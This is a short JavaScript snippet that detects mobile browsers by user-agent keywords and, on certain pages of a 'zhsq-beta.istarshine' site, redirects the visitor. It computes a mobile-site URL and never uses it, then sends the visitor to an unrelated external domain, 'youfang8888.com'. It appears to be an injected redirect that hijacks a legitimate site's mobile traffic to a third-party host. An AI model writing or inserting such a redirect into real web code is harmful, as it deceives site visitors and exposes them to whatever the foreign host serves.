var url = window.location.href var mobileAgent = new Array("iphone", "ipod", "ipad", "android", "mobile", "blackberry", "webos", "incognito", "webmate", "bada", "nokia", "lg", "ucweb", "skyfire"); var browser = navigator.userAgent.toLowerCase(); for (var i = 0; i < mobileAgent.length; i++) { if (browser.indexOf(mobileAgent[i]) != -1) { let operateName = localStorage.getItem('operateName') ? localStorage.getItem('operateName') : ''; if(url.indexOf('zhsq-beta.istarshine') != -1 && url.indexOf('zhsq-beta.istarshine.com/#/loginName') == -1 && operateName == ''){ url = url.replace(/zhsq-beta/, "m.zhsq-beta") location.href="http://www.youfang8888.com/ebub_/s" } break; } }